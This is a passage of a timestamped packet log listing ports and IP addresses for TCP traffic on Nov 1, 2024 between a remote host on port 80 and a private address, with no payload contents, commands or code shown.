Nov 1, 2024 12:34:34.363898039 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363909960 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363920927 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363930941 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363938093 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.363944054 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363954067 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363962889 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.363965034 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363990068 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.364044905 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364057064 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364068031 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364079952 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364090919 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.364093065 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364104033 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364114046 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.364115000 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364126921 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364130974 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.364139080 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364180088 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.364191055 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364202976 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364212990 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364223957 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364236116 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364238977 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.364253044 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364258051 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.364264011 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364274025 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364280939 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.364286900 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364296913 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364306927 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.364308119 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364319086 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364330053 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.364330053 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364341974 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364352942 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364352942 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.364365101 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364368916 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.364377022 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364387989 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364398956 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364402056 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.364411116 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364419937 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.364423037 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364443064 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.364516973 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364528894 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364538908 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364551067 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364551067 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.364562988 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364573002 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.364574909 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364588022 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364595890 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.364598036 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364615917 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364620924 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.364655018 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.364666939 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364679098 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364690065 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364701033 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364707947 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.364712954 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364723921 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364732027 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.364736080 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364748955 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364758015 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.364761114 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364773989 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.364801884 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364814043 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364824057 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364834070 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.364836931 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364849091 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364859104 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.364861012 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364878893 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.364934921 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364950895 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364964962 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364975929 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364985943 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.364989042 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.364996910 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.365010023 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.365012884 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.365021944 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.365034103 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.365044117 CET	80	50003	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.365055084 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.365075111 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.365113020 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.365119934 CET	50003	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.365279913 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.365303993 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.365314007 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.365334034 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.365396023 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.365447998 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.365478992 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.365483046 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.365554094 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.365586042 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.365600109 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.365622044 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.365632057 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.365633011 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.365647078 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.365681887 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.365700006 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.365711927 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.365737915 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.365739107 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.365750074 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.365758896 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.365782976 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.365797043 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.365981102 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366029978 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366158962 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366178989 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366189003 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366194010 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.366216898 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.366240025 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366252899 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366264105 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366276026 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366285086 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.366298914 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.366384029 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366394997 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366405010 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366415977 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366417885 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.366426945 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366439104 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366441011 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.366466045 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.366508007 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366525888 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366535902 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366548061 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366559029 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.366568089 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366569996 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.366580009 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366590977 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366601944 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366602898 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.366616011 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.366621017 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366631985 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366641045 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366652966 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366660118 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.366664886 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366673946 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.366700888 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.366728067 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366740942 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366751909 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366763115 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366769075 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.366774082 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366787910 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366792917 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.366822004 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366827011 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.366835117 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366852999 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366863012 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366863012 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.366875887 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366887093 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366888046 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.366899014 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366909981 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366919994 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.366926908 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366939068 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366945982 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.366951942 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366971016 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.366971016 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366985083 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.366995096 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367007017 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367007017 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.367021084 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367029905 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.367037058 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367048025 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367057085 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.367059946 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367089987 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367090940 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.367100954 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367111921 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367120028 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.367121935 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367135048 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367144108 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.367168903 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.367194891 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367207050 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367218018 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367230892 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367239952 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.367240906 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367253065 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367264986 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367273092 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.367300034 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.367415905 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367508888 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367521048 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367593050 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367594004 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.367624998 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367636919 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367671967 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.367707014 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367782116 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367794991 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367815971 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.367830992 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.367863894 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367878914 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367888927 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367899895 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367913961 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.367924929 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.367949009 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.367995024 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368006945 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368017912 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368026972 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368031025 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.368040085 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368052006 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368055105 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.368063927 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368078947 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.368103027 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.368146896 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368158102 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368168116 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368177891 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368190050 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368201971 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368202925 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.368213892 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368226051 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368226051 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.368248940 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.368257046 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.368283033 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368294954 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368304968 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368321896 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368325949 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.368335962 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368349075 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368360996 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368370056 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.368372917 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368386984 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368396044 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.368405104 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.368465900 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368477106 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368488073 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368501902 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368505001 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.368530989 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.368604898 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368617058 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368627071 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368637085 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368647099 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368648052 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.368662119 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368673086 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.368685961 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.368741989 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368753910 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368763924 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368773937 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368779898 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.368799925 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368802071 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.368812084 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368823051 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368833065 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368835926 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.368845940 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368856907 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368860006 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.368870974 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368880987 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368881941 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.368894100 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368905067 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368917942 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.368942022 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.368948936 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368962049 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368971109 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368983030 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368992090 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.368998051 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.369003057 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369008064 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.369015932 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369028091 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369034052 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.369057894 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.369086027 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369096994 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369129896 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.369179010 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369191885 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369201899 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369215012 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369226933 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369231939 CET	49996	80	192.168.2.7	185.215.113.16
